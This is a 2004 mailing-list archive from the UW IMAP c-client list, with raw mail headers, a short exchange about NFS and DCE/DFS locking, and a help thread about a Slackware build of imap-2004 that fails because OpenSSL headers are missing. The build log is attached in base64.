X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Ralf Utermann wrote: > Mark Crispin wrote: > [...] > >> I doubt very much that mbx format will work on any network filesystem, >> even if the locking problem is solved. The only network filesystem >> that I know of in which mbx would work was the old TOPS-20 from two >> decades ago, and only because that filesystem had rigorous token >> passing on a page to guarantee that updates were atomic across all >> users of the network filesystem. > > I am quite sure, that DCE/DFS would allow mbx. It is good, stable and > mature > technology. End of service for IBMs DCE/DFS for AIX is April/2006. Sigh. Off Topic Sigh indeed! I used DCE/DFS when I was working at IBM Austin in 1993. Before that I've used VAX/VMS 4.4 and later with VAXClusters. I'm too much of a youth (not 40 yet!) to have used TOPS-20. So, with a history of working, locking, distributed file system why are we still struggling with NFS? Guy, out -- -------------------------------------------------------------------- Guy Dawson I.T. Manager Crossflight Ltd guy@crossflight.co.uk 07973 797819 01753 776104 ********************************************************************** This email contains the views and opinions of a Crossflight Limited employee and at this stage are in no way a direct representation of Crossflight Limited. This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. To ensure the integrity and appropriate use of its email system, Crossflight Limited reserves the right to examine any email held on its email system or sent to or from it. This footnote also confirms that this email message has been swept by MIMEsweeper for the presence of computer viruses. We strongly recommend that you check this email with your own virus software as Crossflight Limited will not be held responsible for any damage caused by viruses as a result of opening this email. ********************************************************************** From pinedev@shivax2.cac.washington.edu Thu Nov 25 10:41:55 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Nov 2004 10:41:55 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPIftK8014871 for ; Thu, 25 Nov 2004 10:41:55 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAPIfsv9021398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Nov 2004 10:41:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAPIff2A013488; Thu, 25 Nov 2004 10:41:41 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPIeOQH048360 for ; Thu, 25 Nov 2004 10:40:24 -0800 Received: from assp.Intranet.Collanaud.Qc.Ca ([206.167.76.2]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAPIeNL8010126 for ; Thu, 25 Nov 2004 10:40:23 -0800 Received: from ASSP-nospam ([127.0.0.1]) by assp.Intranet.Collanaud.Qc.Ca with Microsoft SMTPSVC(5.0.2195.6713); Thu, 25 Nov 2004 13:40:38 -0500 Received: from 206.167.76.110 ([206.167.76.110] helo=collanaud.qc.ca) by ASSP-nospam ; 25 Nov 04 18:40:38 -0000 Message-Id: <3F3B14DB7F7E2345834E983DD86FB8B1012B97D5@exch.Intranet.Collanaud.Qc.Ca> Date: Thu, 25 Nov 2004 13:45:47 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Chartrand" To: Subject: can't find c-client.a Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C4D31E.FA454755" X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: X-MS-TNEF-Correlator: X-OriginalArrivalTime: 25 Nov 2004 18:40:39.0138 (UTC) FILETIME=[427FFC20:01C4D31E] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __NEXTPART_ALL 0, __NEXTPART_NORMAL 0, __SANE_MSGID 0, __TAG_EXISTS_HTML 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------_=_NextPart_001_01C4D31E.FA454755 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable =20 I try to build imap2004 on my mail server but when I type =AB make slx = =BB I have some error at the end and in the directory c-client some file = are missing. I have c-client.h but I don't have c-client.a =20 My distribution of Linux is Slackware 10.0. =20 Did I make something wrong? =20 ------------------------ Guillaume Chartrand Technicien en informatique C=E9gep r=E9gional de Lanaudi=E8re Centre Administratifs, Repentigny =20 ------_=_NextPart_001_01C4D31E.FA454755 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

     

    I try to build imap2004 on my mail server but = when I type =AB make slx =BB I have some error at the end and in the = directory c-client some file are missing. I have c-client.h but I don’t have c-client.a

     

    My distribution of Linux is Slackware = 10.0.

     

    Did I make something wrong?

     

    ------------------------

    Guillaume Chartrand

    Technicien en informatique

    C=E9gep r=E9gional de Lanaudi=E8re

    Centre Administratifs, Repentigny

     

    ------_=_NextPart_001_01C4D31E.FA454755-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Nov 25 15:23:28 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Nov 2004 15:23:28 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPNNSwh020589 for ; Thu, 25 Nov 2004 15:23:28 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iAPNNPAM005422 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 25 Nov 2004 15:23:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAPNN9b8010592; Thu, 25 Nov 2004 15:23:09 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAPNLqdX052474 for ; Thu, 25 Nov 2004 15:21:52 -0800 Received: from mta7.srv.hcvlny.cv.net (mta7.srv.hcvlny.cv.net [167.206.5.74]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAPNLp5w029908 for ; Thu, 25 Nov 2004 15:21:52 -0800 Received: from heater.hamla.org (ool-182e70a4.dyn.optonline.net [24.46.112.164]) by mta7.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0I7R004MSCWDKB@mta7.srv.hcvlny.cv.net> for c-client@u.washington.edu; Thu, 25 Nov 2004 18:21:51 -0500 (EST) Received: by heater.hamla.org (Postfix, from userid 501) id 3526C53D9B; Thu, 25 Nov 2004 18:21:45 -0800 (PST) Message-Id: <20041126022144.GA521%sahil@hamla.org> Date: Thu, 25 Nov 2004 18:21:45 -0800 Reply-To: "sahil@tandon.net" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sahil Tandon To: c-client@u.washington.edu Subject: Re: can't find c-client.a In-Reply-To: <3F3B14DB7F7E2345834E983DD86FB8B1012B97D5@exch.Intranet.Collanaud.Qc.Ca> References: <3F3B14DB7F7E2345834E983DD86FB8B1012B97D5@exch.Intranet.Collanaud.Qc.Ca> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Content-disposition: inline X-Uwash-Spam: Gauge=XI, Probability=11%, Report='X_NJABL_DUL 1, RCVD_IN_NJABL_ORG 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN * Guillaume Chartrand [2004-11-25 13:45:47 -0500]: > I try to build imap2004 on my mail server but when I type ? make slx ? I have > some error at the end and in the directory c-client some file are missing. I > have c-client.h but I don't have c-client.a Show us the relevant portion(s) of the error(s). Did you download the tarball directly from the UW IMAP web site? Any other background information would also be helpful in troubleshooting the problem. -- Sahil Tandon From pinedev@shivax2.cac.washington.edu Fri Nov 26 06:45:20 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 26 Nov 2004 06:45:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAQEjK2W011565 for ; Fri, 26 Nov 2004 06:45:20 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.11) with ESMTP id iAQEjIXg030362 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 26 Nov 2004 06:45:19 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iAQEj4id015048; Fri, 26 Nov 2004 06:45:04 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iAQEgD4r109964 for ; Fri, 26 Nov 2004 06:42:13 -0800 Received: from assp.Intranet.Collanaud.Qc.Ca ([206.167.76.2]) by mxe5.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iAQEfGQK025083 for ; Fri, 26 Nov 2004 06:42:09 -0800 Received: from ASSP-nospam ([127.0.0.1]) by assp.Intranet.Collanaud.Qc.Ca with Microsoft SMTPSVC(5.0.2195.6713); Fri, 26 Nov 2004 09:38:18 -0500 Received: from 206.167.76.110 ([206.167.76.110] helo=collanaud.qc.ca) by ASSP-nospam ; 26 Nov 04 14:38:18 -0000 Message-Id: <3F3B14DB7F7E2345834E983DD86FB8B1012B97DA@exch.Intranet.Collanaud.Qc.Ca> Date: Fri, 26 Nov 2004 09:43:29 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Guillaume Chartrand" To: Subject: RE: can't find c-client.a Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----_=_NextPart_001_01C4D3C6.4B8FAFA9" X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 X-MS-Has-Attach: yes X-MS-TNEF-Correlator: X-OriginalArrivalTime: 26 Nov 2004 14:38:19.0101 (UTC) FILETIME=[926028D0:01C4D3C5] X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __IMS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------_=_NextPart_001_01C4D3C6.4B8FAFA9 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I put in attachment my log file when I try to make IMAP You will see that it's said if I've got an error like no such file or = directory on ssl.h... it's because you don't have openSSL installed. But I have openssl installed by default with my distribution. I think he = search the openssl on /usr/local/include But in my system it's on /usr/include Samething for /usr/ssl/ In my system it's on /etc/ssl/ Thank for your help ------------------------ Guillaume Chartrand Technicien en informatique C=E9gep r=E9gional de Lanaudi=E8re Centre Administratifs, Repentigny -----Message d'origine----- De=A0: C-CLIENT-owner@u.washington.edu = [mailto:C-CLIENT-owner@u.washington.edu] De la part de Sahil Tandon Envoy=E9=A0: 25 novembre 2004 21:22 =C0=A0: c-client@u.washington.edu Objet=A0: Re: can't find c-client.a * Guillaume Chartrand [2004-11-25 = 13:45:47 -0500]: > I try to build imap2004 on my mail server but when I type ? make slx ? = I have > some error at the end and in the directory c-client some file are = missing. I > have c-client.h but I don't have c-client.a Show us the relevant portion(s) of the error(s). Did you download the = tarball directly from the UW IMAP web site? Any other background information = would also be helpful in troubleshooting the problem. -- Sahil Tandon ------_=_NextPart_001_01C4D3C6.4B8FAFA9 Content-Type: text/plain; name="log.txt" Content-Transfer-Encoding: base64 Content-Description: log.txt Content-Disposition: attachment; filename="log.txt" bWFrZSBzc2xub3B3ZAptYWtlWzFdOiBFbnRlcmluZyBkaXJlY3RvcnkgYC9wcm9ncmFtbWUvaW1h cC0yMDA0YScKKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrKysrKysrKysKKyBCdWlsZGluZyBpbiBmdWxsIGNvbXBsaWFuY2Ugd2l0aCBSRkMg MzUwMSBzZWN1cml0eQorIHJlcXVpcmVtZW50czoKKysgVExTL1NTTCBlbmNyeXB0aW9uIGlzIHN1 cHBvcnRlZAorKyBVbmVuY3J5cHRlZCBwbGFpbnRleHQgcGFzc3dvcmRzIGFyZSBwcm9oaWJpdGVk CisrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysr KysrKysrKysrCm1ha2VbMV06IExlYXZpbmcgZGlyZWN0b3J5IGAvcHJvZ3JhbW1lL2ltYXAtMjAw NGEnCkFwcGx5aW5nIGFuIHByb2Nlc3MgdG8gc291cmNlcy4uLgp0b29scy9hbiAibG4gLXMiIHNy Yy9jLWNsaWVudCBjLWNsaWVudAp0b29scy9hbiAibG4gLXMiIHNyYy9hbnNpbGliIGMtY2xpZW50 CnRvb2xzL2FuICJsbiAtcyIgc3JjL2NoYXJzZXQgYy1jbGllbnQKdG9vbHMvYW4gImxuIC1zIiBz cmMvb3NkZXAvdW5peCBjLWNsaWVudAp0b29scy9hbiAibG4gLXMiIHNyYy9tdGVzdCBtdGVzdAp0 b29scy9hbiAibG4gLXMiIHNyYy9pcG9wZCBpcG9wZAp0b29scy9hbiAibG4gLXMiIHNyYy9pbWFw ZCBpbWFwZAp0b29scy9hbiAibG4gLXMiIHNyYy9tYWlsdXRpbCBtYWlsdXRpbAp0b29scy9hbiAi bG4gLXMiIHNyYy9tbG9jayBtbG9jawp0b29scy9hbiAibG4gLXMiIHNyYy9kbWFpbCBkbWFpbAp0 b29scy9hbiAibG4gLXMiIHNyYy90bWFpbCB0bWFpbApsbiAtcyB0b29scy9hbiAuCm1ha2UgYnVp bGQgRVhUUkFDRkxBR1M9JycgRVhUUkFMREZMQUdTPScnIEVYVFJBRFJJVkVSUz0nbWJveCcgRVhU UkFBVVRIRU5USUNBVE9SUz0nJyBQQVNTV0RUWVBFPXN0ZCBTU0xUWVBFPW5vcHdkIElQPTQgRVhU UkFTUEVDSUFMUz0nJyBCVUlMRFRZUEU9c2x4Cm1ha2VbMV06IEVudGVyaW5nIGRpcmVjdG9yeSBg L3Byb2dyYW1tZS9pbWFwLTIwMDRhJwpCdWlsZGluZyBjLWNsaWVudCBmb3Igc2x4Li4uCmVjaG8g YGNhdCBTUEVDSUFMU2AgID4gYy1jbGllbnQvU1BFQ0lBTFMKY2QgYy1jbGllbnQ7bWFrZSBzbHgg RVhUUkFDRkxBR1M9JydcCiBFWFRSQUxERkxBR1M9JydcCiBFWFRSQURSSVZFUlM9J21ib3gnXAog RVhUUkFBVVRIRU5USUNBVE9SUz0nJ1wKIFBBU1NXRFRZUEU9c3RkIFNTTFRZUEU9bm9wd2QgSVA9 NFwKICAKbWFrZVsyXTogRW50ZXJpbmcgZGlyZWN0b3J5IGAvcHJvZ3JhbW1lL2ltYXAtMjAwNGEv Yy1jbGllbnQnCllvdSBhcmUgYnVpbGRpbmcgZm9yIGxpYmM2L2dsaWJjIHZlcnNpb25zIG9mIFNl Y3VyZSBMaW51eApJZiB5b3Ugd2FudCBsaWJjNSB2ZXJzaW9ucyB5b3UgbXVzdCB1c2Ugc2w1IGlu c3RlYWQhCklmIHlvdSB3YW50IGxpYmM0IHZlcnNpb25zIHlvdSBtdXN0IHVzZSBzbDQgaW5zdGVh ZCEKbWFrZSBidWlsZCBFWFRSQUNGTEFHUz0nJyBFWFRSQUxERkxBR1M9JycgRVhUUkFEUklWRVJT PSdtYm94JyBFWFRSQUFVVEhFTlRJQ0FUT1JTPScnIFBBU1NXRFRZUEU9c3RkIFNTTFRZUEU9bm9w d2QgYGNhdCBTUEVDSUFMU2AgT1M9c2x4IFwKIFNJR1RZUEU9cHN4IENIRUNLUFc9cHN4IENSWFRZ UEU9bmZzIFwKIFNQT09MRElSPS92YXIvc3Bvb2wgXAogQUNUSVZFRklMRT0vdmFyL2xpYi9uZXdz L2FjdGl2ZSBcCiBSU0hQQVRIPS91c3IvYmluL3JzaCBcCiBCQVNFQ0ZMQUdTPSItZyAtZm5vLW9t aXQtZnJhbWUtcG9pbnRlciAtTzYiIFwKIEJBU0VMREZMQUdTPSItbGNyeXB0IgptYWtlWzNdOiBF bnRlcmluZyBkaXJlY3RvcnkgYC9wcm9ncmFtbWUvaW1hcC0yMDA0YS9jLWNsaWVudCcKc2ggLWMg J3JtIC1yZiBhdXRocy5jIGNyZXhjbC5jIG5mc3Rlc3QuYyBsaW5rYWdlLltjaF0gc2lnbG9jYWwu YyBvc2RlcCouW2NoXSAqLm8gQVJDSElWRSAqRkxBR1MgKlRZUEUgYy1jbGllbnQuYSB8fCB0cnVl JwpPbmNlLW9ubHkgZW52aXJvbm1lbnQgc2V0dXAuLi4KZWNobyBjYyA+IENDVFlQRQplY2hvIC1n IC1mbm8tb21pdC1mcmFtZS1wb2ludGVyIC1PNiAnJyA+IENGTEFHUwplY2hvIC1EQ1JFQVRFUFJP VE89dW5peHByb3RvIC1ERU1QVFlQUk9UTz11bml4cHJvdG8gXAogLURNQUlMU1BPT0w9XCIvdmFy L3Nwb29sL21haWxcIiBcCiAtREFOT05ZTU9VU0hPTUU9XCIvdmFyL3Nwb29sL21haWwvYW5vbnlt b3VzXCIgXAogLURBQ1RJVkVGSUxFPVwiL3Zhci9saWIvbmV3cy9hY3RpdmVcIiAtRE5FV1NTUE9P TD1cIi92YXIvc3Bvb2wvbmV3c1wiIFwKIC1EUlNIUEFUSD1cIi91c3IvYmluL3JzaFwiIC1ETE9D S1BHTT1cIi9ldGMvbWxvY2tcIiA+IE9TQ0ZMQUdTCmVjaG8gLWxjcnlwdCAgPiBMREZMQUdTCmVj aG8gImFyIHJjIGMtY2xpZW50LmEgb3NkZXAubyBtYWlsLm8gbWlzYy5vIG5ld3NyYy5vIHNtYW5h Z2VyLm8gdXRmOC5vIHNpZ2xvY2FsLm8gZHVtbXkubyBwc2V1ZG8ubyBuZXRtc2cubyBmbHN0cmlu Zy5vIGZkc3RyaW5nLm8gcmZjODIyLm8gbm50cC5vIHNtdHAubyBpbWFwNHIxLm8gcG9wMy5vIHVu aXgubyBtYngubyBtbWRmLm8gdGVuZXgubyBtdHgubyBuZXdzLm8gcGhpbGUubyBtaC5vIG14Lm87 cmFubGliIGMtY2xpZW50LmEiID4gQVJDSElWRQplY2hvIHNseCA+IE9TVFlQRQouL2RyaXZlcnMg bWJveCBpbWFwIG5udHAgcG9wMyBtaCBteCBtYnggdGVuZXggbXR4IG1tZGYgdW5peCBuZXdzIHBo aWxlIGR1bW15Ci4vbWthdXRocyAgbWQ1IHBsYSBsb2cKbWFrZVs0XTogRW50ZXJpbmcgZGlyZWN0 b3J5IGAvcHJvZ3JhbW1lL2ltYXAtMjAwNGEvYy1jbGllbnQnCmVjaG8gLURNRDVFTkFCTEU9XCIv ZXRjL2NyYW0tbWQ1LnB3ZFwiID4+IE9TQ0ZMQUdTCm1ha2VbNF06IExlYXZpbmcgZGlyZWN0b3J5 IGAvcHJvZ3JhbW1lL2ltYXAtMjAwNGEvYy1jbGllbnQnCmxuIC1zIG9zX3NseC5oIG9zZGVwLmgK bG4gLXMgb3Nfc2x4LmMgb3NkZXBiYXMuYwpsbiAtcyBsb2dfc3RkLmMgb3NkZXBsb2cuYwpsbiAt cyBzaWdfcHN4LmMgc2lnbG9jYWwuYwpsbiAtcyBjcnhfbmZzLmMgY3JleGNsLmMKbG4gLXMgaXA0 X3VuaXguYyBpcF91bml4LmMKc2ggLWMgJyh0ZXN0IC1mIC91c3IvaW5jbHVkZS9zeXMvc3RhdHZm cy5oIC1hIHNseCAhPSBzYzUgLWEgc2x4ICE9IHNjbykgJiYgbG4gLXMgbmZzdG5ldy5jIG5mc3Rl c3QuYyB8fCBsbiAtcyBuZnN0b2xkLmMgbmZzdGVzdC5jJwpTdGFuZGFyZCBwYXNzd29yZCBhdXRo ZW50aWNhdGlvbgpsbiAtcyBja3BfcHN4LmMgb3NkZXBja3AuYwpCdWlsZGluZyB3aXRoIFNTTAps biAtcyBzc2xfdW5peC5jIG9zZGVwc3NsLmMKZWNobyAtSS91c3IvbG9jYWwvc3NsL2luY2x1ZGUg LUkvdXNyL2xvY2FsL3NzbC9pbmNsdWRlL29wZW5zc2wgLURTU0xfQ0VSVF9ESVJFQ1RPUlk9XCIv dXNyL2xvY2FsL3NzbC9jZXJ0c1wiIC1EU1NMX0tFWV9ESVJFQ1RPUlk9XCIvdXNyL2xvY2FsL3Nz bC9jZXJ0c1wiID4+IE9TQ0ZMQUdTCmVjaG8gIiAgc3NsX29uY2Vvbmx5aW5pdCAoKTsiID4+IGxp bmthZ2UuYwplY2hvIC1ML3Vzci9sb2NhbC9zc2wvbGliIC1sc3NsIC1sY3J5cHRvICA+PiBMREZM QUdTCkJ1aWxkaW5nIHdpdGggU1NMIGFuZCBwbGFpbnRleHQgcGFzc3dvcmRzIGRpc2FibGVkIHVu bGVzcyBTU0wvVExTCmVjaG8gIiAgbWFpbF9wYXJhbWV0ZXJzIChOSUwsU0VUX0RJU0FCTEVQTEFJ TlRFWFQsKHZvaWQgKikgMik7IiA+PiBsaW5rYWdlLmMKY2F0IG9zZGVwYmFzLmMgb3NkZXBja3Au YyBvc2RlcGxvZy5jIG9zZGVwc3NsLmMgPiBvc2RlcC5jCkJ1aWxkaW5nIE9TLWRlcGVuZGVudCBt b2R1bGUKSWYgeW91IGdldCBObyBzdWNoIGZpbGUgZXJyb3IgbWVzc2FnZXMgZm9yIGZpbGVzIHg1 MDkuaCwgc3NsLmgsCnBlbS5oLCBidWZmZXIuaCwgYmlvLmgsIGFuZCBjcnlwdG8uaCwgdGhhdCBt ZWFucyB0aGF0IE9wZW5TU0wKaXMgbm90IGluc3RhbGxlZCBvbiB5b3VyIHN5c3RlbS4gRWl0aGVy IGluc3RhbGwgT3BlblNTTCBmaXJzdApvciBidWlsZCB3aXRoIGNvbW1hbmQ6IG1ha2Ugc2x4IFNT TFRZUEU9bm9uZQpgY2F0IENDVFlQRWAgLWMgYGNhdCBDRkxBR1NgIGBjYXQgT1NDRkxBR1NgIC1j IG9zZGVwLmMKb3NkZXAuYzoxOTc6MTg6IHg1MDkuaDogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9y eQpvc2RlcC5jOjE5ODoxNzogc3NsLmg6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkKb3NkZXAu YzoyMDA6MTc6IHBlbS5oOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5Cm9zZGVwLmM6MjAxOjIw OiBidWZmZXIuaDogTm8gc3VjaCBmaWxlIG9yIGRpcmVjdG9yeQpvc2RlcC5jOjIwMjoxNzogYmlv Lmg6IE5vIHN1Y2ggZmlsZSBvciBkaXJlY3RvcnkKb3NkZXAuYzoyMDM6MjA6IGNyeXB0by5oOiBO byBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5Cm9zZGVwLmM6MjA0OjE4OiByYW5kLmg6IE5vIHN1Y2gg ZmlsZSBvciBkaXJlY3RvcnkKb3NkZXAuYzoyMTU6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUg IlNTTF9DVFgiCm9zZGVwLmM6MjE1OiB3YXJuaW5nOiBubyBzZW1pY29sb24gYXQgZW5kIG9mIHN0 cnVjdCBvciB1bmlvbgpvc2RlcC5jOjIxNjogd2FybmluZzogZGF0YSBkZWZpbml0aW9uIGhhcyBu byB0eXBlIG9yIHN0b3JhZ2UgY2xhc3MKb3NkZXAuYzoyMjA6IGVycm9yOiBwYXJzZSBlcnJvciBi ZWZvcmUgJ30nIHRva2VuCm9zZGVwLmM6MjIwOiB3YXJuaW5nOiBkYXRhIGRlZmluaXRpb24gaGFz IG5vIHR5cGUgb3Igc3RvcmFnZSBjbGFzcwpJbiBmaWxlIGluY2x1ZGVkIGZyb20gb3NkZXAuYzoy MjI6CnNzbGlvLmg6MjQ6IGVycm9yOiBwYXJzZSBlcnJvciBiZWZvcmUgIlNTTFNUUkVBTSIKc3Ns aW8uaDoyNDogd2FybmluZzogbm8gc2VtaWNvbG9uIGF0IGVuZCBvZiBzdHJ1Y3Qgb3IgdW5pb24K c3NsaW8uaDoyNTogd2FybmluZzogZGF0YSBkZWZpbml0aW9uIGhhcyBubyB0eXBlIG9yIHN0b3Jh Z2UgY2xhc3MKc3NsaW8uaDoyNjogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4K c3NsaW8uaDoyNzogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDoy ODogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDoyOTogZXJyb3I6 IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDozMDogZXJyb3I6IHBhcnNlIGVy cm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDozMDogZXJyb3I6IGBjbG9zZScgcmVkZWNsYXJl ZCBhcyBkaWZmZXJlbnQga2luZCBvZiBzeW1ib2wKL3Vzci9pbmNsdWRlL3VuaXN0ZC5oOjMwNjog ZXJyb3I6IHByZXZpb3VzIGRlY2xhcmF0aW9uIG9mIGBjbG9zZScKc3NsaW8uaDozMTogZXJyb3I6 IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDozMjogZXJyb3I6IHBhcnNlIGVy cm9yIGJlZm9yZSAnKicgdG9rZW4Kc3NsaW8uaDozMzogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9y ZSAnKicgdG9rZW4Kc3NsaW8uaDozNDogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAnKicgdG9r ZW4Kc3NsaW8uaDo0MTogZXJyb3I6IHBhcnNlIGVycm9yIGJlZm9yZSAiU1NMU1RSRUFNIgpzc2xp by5oOjQxOiB3YXJuaW5nOiBubyBzZW1pY29sb24gYXQgZW5kIG9mIHN0cnVjdCBvciB1bmlvbgpz c2xpby5oOjQ1OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICd9JyB0b2tlbgpzc2xpby5oOjQ1 OiB3YXJuaW5nOiBkYXRhIGRlZmluaXRpb24gaGFzIG5vIHR5cGUgb3Igc3RvcmFnZSBjbGFzcwpz c2xpby5oOjUwOiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjUw OiB3YXJuaW5nOiBkYXRhIGRlZmluaXRpb24gaGFzIG5vIHR5cGUgb3Igc3RvcmFnZSBjbGFzcwpz c2xpby5oOjUxOiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjUx OiB3YXJuaW5nOiBkYXRhIGRlZmluaXRpb24gaGFzIG5vIHR5cGUgb3Igc3RvcmFnZSBjbGFzcwpz c2xpby5oOjUyOiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjUz OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjU0OiBlcnJvcjog cGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjU1OiBlcnJvcjogcGFyc2UgZXJy b3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjU2OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3Jl ICcqJyB0b2tlbgpzc2xpby5oOjU3OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tl bgpzc2xpby5oOjU4OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5o OjU5OiBlcnJvcjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjYwOiBlcnJv cjogcGFyc2UgZXJyb3IgYmVmb3JlICcqJyB0b2tlbgpzc2xpby5oOjYxOiBlcnJvcjogcGFyc2Ug 